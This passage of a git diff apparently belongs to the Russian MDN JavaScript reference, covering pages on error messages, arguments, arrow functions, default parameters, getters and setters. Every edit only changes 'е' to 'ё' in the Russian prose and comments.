      -// SyntaxError (числа не могут использоваться в качестве имен аргументов)
      +// SyntaxError (числа не могут использоваться в качестве имён аргументов)
       

      Правильный код

      diff --git a/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html b/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html index 32035a2365..12acf53f79 100644 --- a/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html +++ b/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html @@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_bracket_after_list

      Примеры

      -

      Незавершенный инициализатор массива

      +

      Незавершённый инициализатор массива

      var list = [1, 2,
       
      diff --git a/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html b/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html
      index 856d2fe526..00012ea3c4 100644
      --- a/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html
      +++ b/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html
      @@ -55,7 +55,7 @@ obj['propertyKey'] = 'value';
       
       

      Вычисляемые свойства

      -

      Если вы создаете ключ свойства из выражения, то вам необходимо использовать квадратные скобки. В противном случае имя свойства не будет вычислено:

      +

      Если вы создаёте ключ свойства из выражения, то вам необходимо использовать квадратные скобки. В противном случае имя свойства не будет вычислено:

      var obj = { 'b'+'ar': 'foo' };
       // SyntaxError: missing : after property id
      diff --git a/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html b/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html
      index 0d971440c7..0f3c17df1f 100644
      --- a/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html
      +++ b/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html
      @@ -46,12 +46,12 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_function_bod
         }
       };
      -

      Еще больше путаницы может внести использование {{Glossary("IIFE")}}, замыканий и прочих конструкций, где используется большое количество различных скобок:

      +

      Ещё больше путаницы может внести использование {{Glossary("IIFE")}}, замыканий и прочих конструкций, где используется большое количество различных скобок:

      (function() { if (true) { return false; } );
       
      -

      Зачастую облегчить поиск ошибок можно, проверив отступы еще раз или расставив их по-другому.

      +

      Зачастую облегчить поиск ошибок можно, проверив отступы ещё раз или расставив их по-другому.

      (function() {
         if (true) {
      diff --git a/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
      index 1b84367f61..fd7d0ca039 100644
      --- a/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
      +++ b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
      @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argume
       
       

      Примеры

      -

      Из-за отсутствия оператора конкатенации "+", JavaScript ожидает аргумент функции log просто "PI: ". В этом случае, он должен быть заключен в закрывающие скобки.

      +

      Из-за отсутствия оператора конкатенации "+", JavaScript ожидает аргумент функции log просто "PI: ". В этом случае, он должен быть заключён в закрывающие скобки.

      console.log('PI: ' Math.PI);
       // SyntaxError: missing ) after argument list
      diff --git a/files/ru/web/javascript/reference/errors/no_variable_name/index.html b/files/ru/web/javascript/reference/errors/no_variable_name/index.html
      index 9ac5f9cb6e..0791d91708 100644
      --- a/files/ru/web/javascript/reference/errors/no_variable_name/index.html
      +++ b/files/ru/web/javascript/reference/errors/no_variable_name/index.html
      @@ -35,7 +35,7 @@ SyntaxError: Unexpected token = (Chrome)

      Зарезервированные ключевые слова не могут использоваться как имена переменных

      -

      Есть несколько имен, которые являются зарезервированными ключевыми словами. Их нельзя использовать. Увы :(

      +

      Есть несколько имён, которые являются зарезервированными ключевыми словами. Их нельзя использовать. Увы :(

      var debugger = "whoop";
       // SyntaxError: missing variable name
      diff --git a/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html b/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html
      index b298844d17..9f932a969a 100644
      --- a/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html
      +++ b/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html
      @@ -1,6 +1,6 @@
       ---
       title: >-
      -  TypeError: can't delete non-configurable array element(Тип ошибки:не удается
      +  TypeError: can't delete non-configurable array element(Тип ошибки:не удаётся
         удалить настраиваемый элемент массива)
       slug: Web/JavaScript/Reference/Errors/Non_configurable_array_element
       translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element
      @@ -9,8 +9,8 @@ translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element
       
       

      Сообщения

      -
      TypeError: не удается удалить не настраиваемый элемент массива (Firefox)
      -TypeError: не удается удалить свойство '2' из [массива объектов] (Chrome)
      +
      TypeError: не удаётся удалить не настраиваемый элемент массива (Firefox)
      +TypeError: не удаётся удалить свойство '2' из [массива объектов] (Chrome)
       

      Тип ошибки

      @@ -33,14 +33,14 @@ TypeError: не удается удалить свойство '2' из [мас

      Не настраиваемые свойства, созданные Object.defineProperty

      -

      The {{jsxref("Object.defineProperty()")}} создает не настраиваемые свойства по умолчанию, если они не указаны как настраиваемые.

      +

      The {{jsxref("Object.defineProperty()")}} создаёт не настраиваемые свойства по умолчанию, если они не указаны как настраиваемые.

      var arr = [];
       Object.defineProperty(arr, 0, {value: 0});
       Object.defineProperty(arr, 1, {value: "1"});
       
       arr.length = 1;
      -// TypeError: не удается удалить не настраиваемый элемент массива
      +// TypeError: не удаётся удалить не настраиваемый элемент массива
       

      Вам нужно будет установить элементы как конфигурируемые, если вы собираетесь сократить массив.

      diff --git a/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html b/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html index 0b72d6c50f..1d1decf231 100644 --- a/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html +++ b/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html @@ -18,7 +18,7 @@ RangeError: Invalid code point {0} (Chrome)

      Что пошло не так?

      -

      Метод {{jsxref("String.fromCodePoint()")}} выдает ошибку, если ему было передано значение {{jsxref("NaN")}}, отрицательное целое число (-1), нецелое число (5.4) или значение, которое превышает 0x10FFFF (1114111).

      +

      Метод {{jsxref("String.fromCodePoint()")}} выдаёт ошибку, если ему было передано значение {{jsxref("NaN")}}, отрицательное целое число (-1), нецелое число (5.4) или значение, которое превышает 0x10FFFF (1114111).

      Кодовая точка (code point) – это значение в кодовом пространстве Unicode, то есть диапазон целых чисел от 0 до 0x10FFFF.

      diff --git a/files/ru/web/javascript/reference/errors/not_a_constructor/index.html b/files/ru/web/javascript/reference/errors/not_a_constructor/index.html index e9c3aafb29..68f9144938 100644 --- a/files/ru/web/javascript/reference/errors/not_a_constructor/index.html +++ b/files/ru/web/javascript/reference/errors/not_a_constructor/index.html @@ -71,7 +71,7 @@ var obj = new f;

      В Обещаниях (Promises)

      -

      В случае, когда возвращается незамедлительно разрешенное или незамедлительно отклоненное Обещание, Вам не нужно создавать новое Обещание new Promise(...) и работать с ним.

      +

      В случае, когда возвращается незамедлительно разрешённое или незамедлительно отклонённое Обещание, Вам не нужно создавать новое Обещание new Promise(...) и работать с ним.

      Это неправильно (конструктор Обещания вызывается неправильно) и будет вызывать исключение TypeError: this is not a constructor:

      diff --git a/files/ru/web/javascript/reference/errors/not_defined/index.html b/files/ru/web/javascript/reference/errors/not_defined/index.html index 818c3c00d4..2169f9ffa3 100644 --- a/files/ru/web/javascript/reference/errors/not_defined/index.html +++ b/files/ru/web/javascript/reference/errors/not_defined/index.html @@ -36,7 +36,7 @@ foo.substring(1); // "ar"

      Неправильная зона доступности

      -

      Переменная должна быть доступна в текущем контексте исполнения. Переменные, определенные внутри функции не могут быть доступны из любой точки за пределами функции, так как переменная определена только в области видимости самой функции.

      +

      Переменная должна быть доступна в текущем контексте исполнения. Переменные, определённые внутри функции не могут быть доступны из любой точки за пределами функции, так как переменная определена только в области видимости самой функции.

      function numbers () {
         var num1 = 2,
      @@ -46,7 +46,7 @@ foo.substring(1); // "ar"
      console.log(num1); // ReferenceError num1 is not defined.
      -

      Тем не менее, функция может получить доступ ко всем переменным и функциям, определенным в области видимости, в которой она определена.  Другими словами, функция, определенная в глобальной области может получить доступ ко всем переменным, определенным в глобальном масштабе.

      +

      Тем не менее, функция может получить доступ ко всем переменным и функциям, определённым в области видимости, в которой она определена.  Другими словами, функция, определённая в глобальной области может получить доступ ко всем переменным, определённым в глобальном масштабе.

      var num1 = 2,
           num2 = 3;
      diff --git a/files/ru/web/javascript/reference/errors/read-only/index.html b/files/ru/web/javascript/reference/errors/read-only/index.html
      index 4675e8008f..2616d68809 100644
      --- a/files/ru/web/javascript/reference/errors/read-only/index.html
      +++ b/files/ru/web/javascript/reference/errors/read-only/index.html
      @@ -10,8 +10,8 @@ translation_of: Web/JavaScript/Reference/Errors/Read-only
       
      TypeError: назначение свойств только для чтения не допускается в строгом режиме (Edge)
       TypeError: "x" доступен только для чтения (Firefox)
       TypeError: 0 доступен только для чтения (Firefox)
      -TypeError: не удается назначить только для чтения свойство "x" из #<объект> (Chrome)
      -TypeError: не удается назначить только для чтения свойство '0' [массив объектов] (Chrome)
      +TypeError: не удаётся назначить только для чтения свойство "x" из #<объект> (Chrome)
      +TypeError: не удаётся назначить только для чтения свойство '0' [массив объектов] (Chrome)
       

      Тип ошибки

      diff --git a/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html b/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html index 781ea495ec..dbf5ae9fba 100644 --- a/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html +++ b/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html @@ -21,7 +21,7 @@ SyntaxError: Identifier "x" has already been declared (Chrome)

      Что пошло не так?

      -

      Одно и то же имя переменной сначала использовано в качестве параметра, а потом объявлено еще раз в теле функции с помощью оператора присваивания let. В JavaScript не допустимо переопределение переменной в рамках области видимости функции или блока при помощи let.

      +

      Одно и то же имя переменной сначала использовано в качестве параметра, а потом объявлено ещё раз в теле функции с помощью оператора присваивания let. В JavaScript не допустимо переопределение переменной в рамках области видимости функции или блока при помощи let.

      Примеры

      @@ -34,7 +34,7 @@ SyntaxError: Identifier "x" has already been declared (Chrome) // SyntaxError: redeclaration of formal parameter "arg"
      -

      Если вы хотите изменить значение переменной "arg" в теле функции, это можно сделать, но для этого не требуется объявлять эту же переменную еще раз. Иначе говоря, ключевое слово let можно опустить. Если же вы хотите создать новую переменную, необходимо ее переименовать, поскольку в противном случае она вступает в конфликт с уже существующим параметром функции.

      +

      Если вы хотите изменить значение переменной "arg" в теле функции, это можно сделать, но для этого не требуется объявлять эту же переменную ещё раз. Иначе говоря, ключевое слово let можно опустить. Если же вы хотите создать новую переменную, необходимо её переименовать, поскольку в противном случае она вступает в конфликт с уже существующим параметром функции.

      function f(arg) {
         arg = 'foo';
      diff --git a/files/ru/web/javascript/reference/errors/reserved_identifier/index.html b/files/ru/web/javascript/reference/errors/reserved_identifier/index.html
      index 28c0df1add..91cedeb38d 100644
      --- a/files/ru/web/javascript/reference/errors/reserved_identifier/index.html
      +++ b/files/ru/web/javascript/reference/errors/reserved_identifier/index.html
      @@ -60,7 +60,7 @@ var list = ["potatoes", "rice", "fries"];

      Обновление старых браузеров

      -

      Например, если вы используете старый браузер, в котором еще не реализована функция let или class, вам следует перейти на более новую версию браузера, которая поддерживает данные языковые функции.

      +

      Например, если вы используете старый браузер, в котором ещё не реализована функция let или class, вам следует перейти на более новую версию браузера, которая поддерживает данные языковые функции.

      "use strict";
       class DocArchiver {}
      diff --git a/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html b/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html
      index 48917edbc1..9f76e774c7 100644
      --- a/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html
      +++ b/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html
      @@ -23,7 +23,7 @@ SyntaxError: Illegal 'use strict' directive in function with non-simple paramete
       

      Перевод:

      Edge:
      -Не удается применить строгий режим к функциям со списком, содержащим сложные параметры
      +Не удаётся применить строгий режим к функциям со списком, содержащим сложные параметры
       
       Firefox:
       Ошибка синтаксиса: "use strict" не допускается в функции с параметром по умолчанию
      @@ -74,7 +74,7 @@ function sum(a = 1, b = 2) {
       
       

      Функция выражения

      -

      Выражение функции может использовать еще один обходной путь:

      +

      Выражение функции может использовать ещё один обходной путь:

      var sum = function sum([a, b]) {
         // SyntaxError: "use strict" не допускается в функции с параметром деструктурирования
      diff --git a/files/ru/web/javascript/reference/errors/unexpected_token/index.html b/files/ru/web/javascript/reference/errors/unexpected_token/index.html
      index 52b6bca2de..62f6dd9db2 100644
      --- a/files/ru/web/javascript/reference/errors/unexpected_token/index.html
      +++ b/files/ru/web/javascript/reference/errors/unexpected_token/index.html
      @@ -25,7 +25,7 @@ SyntaxError: expected '=>' after argument list, got "x"
       
       

      Что пошло не так?

      -

      Вместо определенной конструкции языка было использовано что-то другое. Возможно, просто опечатка.

      +

      Вместо определённой конструкции языка было использовано что-то другое. Возможно, просто опечатка.

      Примеры

      @@ -39,7 +39,7 @@ SyntaxError: expected '=>' after argument list, got "x" // SyntaxError: expected expression, got ';'
      -

      Правильным вариантом будет убрать запятую или добавить еще одно выражение:

      +

      Правильным вариантом будет убрать запятую или добавить ещё одно выражение:

      for (let i = 0; i < 5; ++i) {
         console.log(i);
      diff --git a/files/ru/web/javascript/reference/errors/unexpected_type/index.html b/files/ru/web/javascript/reference/errors/unexpected_type/index.html
      index c8ccbe028f..43015841f0 100644
      --- a/files/ru/web/javascript/reference/errors/unexpected_type/index.html
      +++ b/files/ru/web/javascript/reference/errors/unexpected_type/index.html
      @@ -25,7 +25,7 @@ TypeError: "x" is not a symbol
       
       

      Встречен неожиданный тип. Это часто случается со значениями {{jsxref("null")}} или {{jsxref("undefined")}}.

      -

      Так же, некоторые методы, такие как {{jsxref("Object.create()")}} или {{jsxref("Symbol.keyFor()")}}, требуют определенный тип, который должен быть предоставлен.

      +

      Так же, некоторые методы, такие как {{jsxref("Object.create()")}} или {{jsxref("Symbol.keyFor()")}}, требуют определённый тип, который должен быть предоставлен.

      Примеры

      @@ -39,7 +39,7 @@ var foo = null; foo.substring(1); // TypeError: foo is null -// Некоторые методы могут требовать определенный тип +// Некоторые методы могут требовать определённый тип var foo = {} Symbol.keyFor(foo); // TypeError: foo is not a symbol diff --git a/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html b/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html index 0c950c014e..c4f442f49e 100644 --- a/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html +++ b/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html @@ -18,7 +18,7 @@ SyntaxError: непредвиденный токен ( [Chrome]

      Что пошло не так?

      -

      В коде есть оператор function, для которого требуется имя. Вам нужно будет проверить, как определены функции и нужно ли предоставить для них имя, или если рассматриваемая функция должна быть выражением функции, {{Glossary("IIFE")}}, или если код функции вообще правильно размещен в этом контексте.

      +

      В коде есть оператор function, для которого требуется имя. Вам нужно будет проверить, как определены функции и нужно ли предоставить для них имя, или если рассматриваемая функция должна быть выражением функции, {{Glossary("IIFE")}}, или если код функции вообще правильно размещён в этом контексте.

      Примеры

      @@ -38,7 +38,7 @@ SyntaxError: непредвиденный токен ( [Chrome] return 'Hello world'; };
      -

      Или, ваша функция возможно, предназначена для IIFE (немедленно вызываемое выражение функции), которое является функцией, которая запускается, как только она определена. В этом случае вам понадобится еще несколько брекетов:

      +

      Или, ваша функция возможно, предназначена для IIFE (немедленно вызываемое выражение функции), которое является функцией, которая запускается, как только она определена. В этом случае вам понадобится ещё несколько брекетов:

      (function () {
       
      diff --git a/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html b/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html
      index ea9aca3e65..dd817a5407 100644
      --- a/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html
      +++ b/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html
      @@ -1,5 +1,5 @@
       ---
      -title: 'SyntaxError: unterminated string literal(незавершенный строковый литерал)'
      +title: 'SyntaxError: unterminated string literal(незавершённый строковый литерал)'
       slug: Web/JavaScript/Reference/Errors/Unterminated_string_literal
       translation_of: Web/JavaScript/Reference/Errors/Unterminated_string_literal
       ---
      @@ -34,7 +34,7 @@ SyntaxError: незадействованный строковый литера
       
      var longString = 'Это очень длинная строка, которая нуждается
                         перенос через несколько строк, потому что
                         в противном случае мой код нечитаем.";
      -// SyntaxError: незавершенный строковый литерал
      +// SyntaxError: незавершённый строковый литерал

      Вместо этого используйте оператор+, обратную косую черту или литералы шаблона. Вариант оператора + выглядит следующим образом:

      @@ -50,7 +50,7 @@ SyntaxError: незадействованный строковый литера в противном случае мой код нечитаем.";
      -

      Еще одна возможность-использовать шаблонные литералы, поддерживаемые в средах ECMAScript 2015:

      +

      Ещё одна возможность-использовать шаблонные литералы, поддерживаемые в средах ECMAScript 2015:

      var longString = `Это очень длинная строка, которая нуждается
                         в переносе через несколько строк, потому что
      diff --git a/files/ru/web/javascript/reference/errors/var_hides_argument/index.html b/files/ru/web/javascript/reference/errors/var_hides_argument/index.html
      index 91953a36c8..5b7c3d1f8e 100644
      --- a/files/ru/web/javascript/reference/errors/var_hides_argument/index.html
      +++ b/files/ru/web/javascript/reference/errors/var_hides_argument/index.html
      @@ -24,7 +24,7 @@ original_slug: Web/JavaScript/Reference/Errors/Переменные_скрыва
       
       

       

      -

      То же имя переменной происходит в качестве параметра функции, и затем повторно объявляется с помощью назначения var в теле функции. Это может быть конфликт имен, поэтому JavaScript предупреждает об этом.

      +

      То же имя переменной происходит в качестве параметра функции, и затем повторно объявляется с помощью назначения var в теле функции. Это может быть конфликт имён, поэтому JavaScript предупреждает об этом.

      Эта ошибка возникает как предупреждение только в коде строгого режима. В нестрогом коде повторное объявление игнорируется.

      diff --git a/files/ru/web/javascript/reference/functions/arguments/callee/index.html b/files/ru/web/javascript/reference/functions/arguments/callee/index.html index eaf41af79d..5326296bdd 100644 --- a/files/ru/web/javascript/reference/functions/arguments/callee/index.html +++ b/files/ru/web/javascript/reference/functions/arguments/callee/index.html @@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Functions/arguments/callee

       

      -

      Действительно незаменимым оно остается всего в одной ситуации. Когда мы создаем анонимную функцию напрямую через конструктор Function.

      +

      Действительно незаменимым оно остаётся всего в одной ситуации. Когда мы создаём анонимную функцию напрямую через конструктор Function.

      var b = new Function("", "alert(typeof arguments.callee)");
      diff --git a/files/ru/web/javascript/reference/functions/arguments/index.html b/files/ru/web/javascript/reference/functions/arguments/index.html index b23710eba0..db4f25e9b6 100644 --- a/files/ru/web/javascript/reference/functions/arguments/index.html +++ b/files/ru/web/javascript/reference/functions/arguments/index.html @@ -105,7 +105,7 @@ console.log(typeof arguments[0]);
      return args.join(separator); }
      -

      Вы можете передать любое количество аргументов в эту функцию. Она создает строку, используя каждый аргумент:

      +

      Вы можете передать любое количество аргументов в эту функцию. Она создаёт строку, используя каждый аргумент:

      // возвращает "red, orange, blue"
       myConcat(", ", "red", "orange", "blue");
      @@ -118,7 +118,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");

       Функция, создающая HTML списки

      -

      В данном примере приведена функция, которая создает строку с HTML-разметкой для списка. Единственный ее аргумент - строка, определяющая вид списка: если его значение равно "u", формируется неупорядоченный (маркированный) список, а если "o", то упорядоченный (нумерованный):

      +

      В данном примере приведена функция, которая создаёт строку с HTML-разметкой для списка. Единственный её аргумент - строка, определяющая вид списка: если его значение равно "u", формируется неупорядоченный (маркированный) список, а если "o", то упорядоченный (нумерованный):

      function list(type) {
         var result = "<" + type + "l><li>";
      @@ -148,7 +148,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");
      } foo(1, 2, 3); // { "0": 1, "1": 2, "2": 3 }
      -

      Тем не менее, в нестрогих функциях соответствие между их аргументами и объектом arguments существует только в том случае, если функция не содержит никаких оставшихся параметров, параметров по умолчанию или деструктурированных параметров. Например, в функции, приведенной ниже, используется параметр по умолчанию, и в данном случае возвращаемый результат будет равен 10, а не 100:

      +

      Тем не менее, в нестрогих функциях соответствие между их аргументами и объектом arguments существует только в том случае, если функция не содержит никаких оставшихся параметров, параметров по умолчанию или деструктурированных параметров. Например, в функции, приведённой ниже, используется параметр по умолчанию, и в данном случае возвращаемый результат будет равен 10, а не 100:

      function bar(a=1) {
         arguments[0] = 100;
      @@ -164,7 +164,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");
      } zoo(10); // 100
      -

      На самом деле, если оставшиеся параметры, параметры по умолчанию или деструктурированные параметры не используются, формальные аргументы будут ссылаться на последние значения объекта arguments, при считывании значений формальных аргументов будут считаны последние данные из arguments, а при изменении значений формальных аргументов будет обновлен и объект arguments. Пример приведен в коде ниже:

      +

      На самом деле, если оставшиеся параметры, параметры по умолчанию или деструктурированные параметры не используются, формальные аргументы будут ссылаться на последние значения объекта arguments, при считывании значений формальных аргументов будут считаны последние данные из arguments, а при изменении значений формальных аргументов будет обновлён и объект arguments. Пример приведён в коде ниже:

      function func(a, b) {
           arguments[0] = 90;
      diff --git a/files/ru/web/javascript/reference/functions/arrow_functions/index.html b/files/ru/web/javascript/reference/functions/arrow_functions/index.html
      index bd2cc34fe1..6df06beb79 100644
      --- a/files/ru/web/javascript/reference/functions/arrow_functions/index.html
      +++ b/files/ru/web/javascript/reference/functions/arrow_functions/index.html
      @@ -66,7 +66,7 @@ f();  // 6
       
       elements.map(function(element) {
         return element.length;
      -}); // Это выражение вернет массив [8, 6, 7, 9]
      +}); // Это выражение вернёт массив [8, 6, 7, 9]
       
       // Функцию выше можно записать как стрелочную функцию:
       elements.map((element) => {
      @@ -123,7 +123,7 @@ var p = new Person();
       
       

      Кроме этого, может быть создана привязанная функция, в которую передаётся требуемое значение this для функции (функция growUp() в примере выше).

      -

      Стрелочные функции не содержат собственный контекст this, а используют значение this окружающего контекста. Поэтому нижеприведенный код работает как предполагалось:

      +

      Стрелочные функции не содержат собственный контекст this, а используют значение this окружающего контекста. Поэтому нижеприведённый код работает как предполагалось:

      function Person(){
         this.age = 0;
      diff --git a/files/ru/web/javascript/reference/functions/default_parameters/index.html b/files/ru/web/javascript/reference/functions/default_parameters/index.html
      index 9043c38446..b257a5fe65 100644
      --- a/files/ru/web/javascript/reference/functions/default_parameters/index.html
      +++ b/files/ru/web/javascript/reference/functions/default_parameters/index.html
      @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Functions/Default_parameters
       
       

      Описание

      -

      В JavaScript параметры функции, которым при ее вызове не передаются значения, принимают по умолчанию значение {{jsxref("undefined")}}. Однако в некоторых случаях может быть полезно задать иное значение по умолчанию. Именно для таких случаев предназначены параметры по умолчанию.

      +

      В JavaScript параметры функции, которым при её вызове не передаются значения, принимают по умолчанию значение {{jsxref("undefined")}}. Однако в некоторых случаях может быть полезно задать иное значение по умолчанию. Именно для таких случаев предназначены параметры по умолчанию.

      В прошлом для проверки параметров и задания их значений по умолчанию использовался код в теле функции, в котором проверялось, не равны ли значения параметров undefined.

      @@ -47,7 +47,7 @@ multiply(5, 2); // 10 multiply(5); // 5
      -

      С появлением в ES2015 параметров по умолчанию стало возможным обходиться без проверки параметров в теле функции. Так, в приведенном выше примере достаточно в заголовке функции указать 1 в качестве значения по умолчанию для параметра b:

      +

      С появлением в ES2015 параметров по умолчанию стало возможным обходиться без проверки параметров в теле функции. Так, в приведённом выше примере достаточно в заголовке функции указать 1 в качестве значения по умолчанию для параметра b:

      function multiply(a, b = 1) {
         return a*b;
      @@ -78,7 +78,7 @@ test(null);      // 'object' (num получил значение null)
       
       

      Параметры по умолчанию вычисляются в момент вызова функции

      -

      В Javascript параметры по умолчанию вычисляются в момент вызова функции. В отличие от языка Python, при каждом вызове функции создается новое лексическое окружение функции.

      +

      В Javascript параметры по умолчанию вычисляются в момент вызова функции. В отличие от языка Python, при каждом вызове функции создаётся новое лексическое окружение функции.

      function append(value, array = []) {
         array.push(value);
      @@ -117,7 +117,7 @@ callSomething(); // 2
       greet('David', 'Hi');  // ["David", "Hi", "Hi David"]
       greet('David', 'Hi', 'Happy Birthday!');  // ["David", "Hi", "Happy Birthday!"]
      -

      Следующий пример пример еще раз иллюстрирует эту возможность, а также позволяет еще раз сравнить два способа достижения одного и того же результата: с использованием инициализации параметров по умолчанию и без ее использования:

      +

      Следующий пример пример ещё раз иллюстрирует эту возможность, а также позволяет ещё раз сравнить два способа достижения одного и того же результата: с использованием инициализации параметров по умолчанию и без её использования:

      function go() {
         return ":P"
      @@ -158,7 +158,7 @@ withoutDefaults.call({value:"=^_^="});
       
       

      Инициализация с помощью функций, определяемых в теле функции

      -

      Начиная с версии Gecko 33 {{geckoRelease(33)}} функции, определяемые в теле самой функции, не могут быть использованы для инициализации параметров по умолчанию; попытка это сделать приведет к ошибке {{jsxref("ReferenceError")}}. Параметры по умолчанию всегда вычисляются до обработки описаний функций, определяемых в теле функции.

      +

      Начиная с версии Gecko 33 {{geckoRelease(33)}} функции, определяемые в теле самой функции, не могут быть использованы для инициализации параметров по умолчанию; попытка это сделать приведёт к ошибке {{jsxref("ReferenceError")}}. Параметры по умолчанию всегда вычисляются до обработки описаний функций, определяемых в теле функции.

      // Вызовет ошибку ReferenceError!
       function f(a = go()) {
      diff --git a/files/ru/web/javascript/reference/functions/get/index.html b/files/ru/web/javascript/reference/functions/get/index.html
      index 9e2c329c8e..0e6803733f 100644
      --- a/files/ru/web/javascript/reference/functions/get/index.html
      +++ b/files/ru/web/javascript/reference/functions/get/index.html
      @@ -49,7 +49,7 @@ translation_of: Web/JavaScript/Reference/Functions/get
       
       

      Определение геттера на новом объекте в момент инициализации этого объекта

      -

      Ниже создается псевдо-свойство latest для объекта obj, который выведет последний элемент массива в консоль лог.

      +

      Ниже создаётся псевдо-свойство latest для объекта obj, который выведет последний элемент массива в консоль лог.

      const obj = {
         log: ['example','test'],
      @@ -98,10 +98,10 @@ console.log(obj.foo); // "bar"

      Геттеры дают нам возможность определять свойство объекта , но они не вычисляют значение этого свойства до тех пор, пока оно не станет доступно. Геттер откладывает стоимость вычисления значения до тех пор, пока это значение не станет нужно, и если оно никогда не понадобится, то вы никогда не заплатите.

      -

      Дополнительная техника оптимизации заключается в том, чтобы лениться или откладывать вычисление значения свойства и кэшировать его для дальнейшего доступа. Так поступают умные или запоминающие геттеры. Значение вычисляется в первый раз при вызове геттера и затем сохраняется в кэше так, что последующие обращения будут возвращать кэшированные значения без его пересчета. Это полезно в следующих ситуациях:

      +

      Дополнительная техника оптимизации заключается в том, чтобы лениться или откладывать вычисление значения свойства и кэшировать его для дальнейшего доступа. Так поступают умные или запоминающие геттеры. Значение вычисляется в первый раз при вызове геттера и затем сохраняется в кэше так, что последующие обращения будут возвращать кэшированные значения без его пересчёта. Это полезно в следующих ситуациях:

        -
      • Если вычисление значения свойства дорого (занимает много оперативной памяти или процессорного времени, порождает рабочий поток, получает удаленный файл, и т. д.).
      • +
      • Если вычисление значения свойства дорого (занимает много оперативной памяти или процессорного времени, порождает рабочий поток, получает удалённый файл, и т. д.).
      • Если сейчас это значение не нужно. Оно будет использоваться позже, или в некоторых случаях оно не используется вообще.
      • Если оно используется, к нему будут обращаться несколько раз, и нет необходимости его пересчитывать, так как значение не будет изменено, или не должно пересчитываться.
      @@ -119,7 +119,7 @@ console.log(obj.foo); // "bar"

      get и defineProperty

      -

      Использование ключевого слова get и {{jsxref("Object.defineProperty()")}} дает похожие результаты, но при использовании в {{jsxref("classes")}} между ними есть тонкая разница.

      +

      Использование ключевого слова get и {{jsxref("Object.defineProperty()")}} даёт похожие результаты, но при использовании в {{jsxref("classes")}} между ними есть тонкая разница.

      При использовании get свойство будет определено в прототипе объекта, в то время, как при использовании {{jsxref ("Object.defineProperty ()")}} свойство будет определено в экземпляре, к которому применяется.

      diff --git a/files/ru/web/javascript/reference/functions/method_definitions/index.html b/files/ru/web/javascript/reference/functions/method_definitions/index.html index 2a7f130d76..bc7b16eac1 100644 --- a/files/ru/web/javascript/reference/functions/method_definitions/index.html +++ b/files/ru/web/javascript/reference/functions/method_definitions/index.html @@ -38,7 +38,7 @@ original_slug: Web/JavaScript/Reference/Functions/Определение_мет

      Сокращение методов-генераторов

      -

      Методы-генераторы также могут быть определены используя короткий синтаксис. Обратите внимание, что звездочка (*) в коротком синтаксисе должна быть перед именем свойства генератора. То есть, * g(){} будет работать, а g *(){} не будет.

      +

      Методы-генераторы также могут быть определены используя короткий синтаксис. Обратите внимание, что звёздочка (*) в коротком синтаксисе должна быть перед именем свойства генератора. То есть, * g(){} будет работать, а g *(){} не будет.

      // Используя свойство с именем (pre-ES6)
       var obj2 = {
      diff --git a/files/ru/web/javascript/reference/functions/set/index.html b/files/ru/web/javascript/reference/functions/set/index.html
      index 97b89211c1..438bd10539 100644
      --- a/files/ru/web/javascript/reference/functions/set/index.html
      +++ b/files/ru/web/javascript/reference/functions/set/index.html
      @@ -41,13 +41,13 @@ translation_of: Web/JavaScript/Reference/Functions/set
       
    -

    Сеттер может быть удален оператором delete.

    +

    Сеттер может быть удалён оператором delete.

    Примеры

    Определение сеттера при инициализации новых объектов

    -

    Это позволит определить псевдо-параметр current объекта o, который задает значение, обновляющее значение log:

    +

    Это позволит определить псевдо-параметр current объекта o, который задаёт значение, обновляющее значение log:

    var o = {
       set current (str) {
    @@ -57,7 +57,7 @@ translation_of: Web/JavaScript/Reference/Functions/set
     }
     
    -

